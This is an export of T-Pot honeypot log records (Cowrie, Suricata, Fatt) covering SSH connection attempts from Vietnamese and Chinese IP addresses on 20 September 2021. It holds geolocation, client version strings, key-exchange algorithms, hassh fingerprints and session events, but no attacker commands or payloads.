27392	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:09.423649+03	2021-09-20 14:15:14.519645+03	{"_id": "UAbpAnwBvYTbRNuEzycU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:38274 (192.168.176.2:22) [session: 3866c4e895a9]", "session": "3866c4e895a9", "@version": "1", "protocol": "ssh", "src_port": 38274, "dest_port": 22, "timestamp": "2021-09-20T11:14:09.423649Z", "@timestamp": "2021-09-20T11:14:09.423Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27393	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:08.835245+03	2021-09-20 14:15:14.520646+03	{"_id": "TAbpAnwBvYTbRNuEzycU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9e29758cf749", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:08.835245Z", "@timestamp": "2021-09-20T11:14:08.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27394	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:09.426516+03	2021-09-20 14:15:14.521646+03	{"_id": "VQbpAnwBvYTbRNuEzycU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3866c4e895a9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:09.426516Z", "@timestamp": "2021-09-20T11:14:09.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27395	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:14:09.710509+03	2021-09-20 14:15:14.523646+03	{"_id": "VgbpAnwBvYTbRNuE0ScJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 845358766824414, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38274, "dest_port": 22, "timestamp": "2021-09-20T11:14:09.710509Z", "@timestamp": "2021-09-20T11:14:09.710Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27396	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:14:09.710599+03	2021-09-20 14:15:14.524646+03	{"_id": "VwbpAnwBvYTbRNuE0ic_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38274, "dest_port": 22, "timestamp": "2021-09-20T11:14:09.710599", "@timestamp": "2021-09-20T11:14:09.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27406	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:14:16.58618+03	2021-09-20 14:15:14.537648+03	{"_id": "YgbpAnwBvYTbRNuE6idv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:34540 (192.168.176.2:22) [session: 53eded6d5055]", "session": "53eded6d5055", "@version": "1", "protocol": "ssh", "src_port": 34540, "dest_port": 22, "timestamp": "2021-09-20T11:14:16.586180Z", "@timestamp": "2021-09-20T11:14:16.586Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27397	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:09.711427+03	2021-09-20 14:15:14.525683+03	{"_id": "WAbpAnwBvYTbRNuE0if9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3866c4e895a9", "@version": "1", "timestamp": "2021-09-20T11:14:09.711427Z", "@timestamp": "2021-09-20T11:14:09.711Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27398	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:10.913235+03	2021-09-20 14:15:14.527683+03	{"_id": "WwbpAnwBvYTbRNuE1ifl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "cbe20f691dcb", "@version": "1", "duration": 3.1729400157928467, "timestamp": "2021-09-20T11:14:10.913235Z", "@timestamp": "2021-09-20T11:14:10.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27399	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:07.397913+03	2021-09-20 14:15:14.528672+03	{"_id": "HwbpAnwBvYTbRNuExieF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60688, "timestamp": "2021-09-20T11:14:07.397913", "@timestamp": "2021-09-20T11:14:07.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27400	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:07.396529+03	2021-09-20 14:15:14.529645+03	{"_id": "IwbpAnwBvYTbRNuExydE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:60688 (192.168.176.2:22) [session: 3e781d115cd8]", "session": "3e781d115cd8", "@version": "1", "protocol": "ssh", "src_port": 60688, "dest_port": 22, "timestamp": "2021-09-20T11:14:07.396529Z", "@timestamp": "2021-09-20T11:14:07.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27407	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:16.108594+03	2021-09-20 14:15:14.538675+03	{"_id": "ZQbpAnwBvYTbRNuE6idv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "0b7269cb082e", "@version": "1", "duration": 120.00166344642639, "timestamp": "2021-09-20T11:14:16.108594Z", "@timestamp": "2021-09-20T11:14:16.108Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27401	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:07.433832+03	2021-09-20 14:15:14.530646+03	{"_id": "OgbpAnwBvYTbRNuExydE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b7f6b5e99a19", "@version": "1", "timestamp": "2021-09-20T11:14:07.433832Z", "@timestamp": "2021-09-20T11:14:07.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27402	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:14:07.675027+03	2021-09-20 14:15:14.532645+03	{"_id": "OwbpAnwBvYTbRNuEySc3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2212659457936421, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60688, "dest_port": 22, "timestamp": "2021-09-20T11:14:07.675027Z", "@timestamp": "2021-09-20T11:14:07.675Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
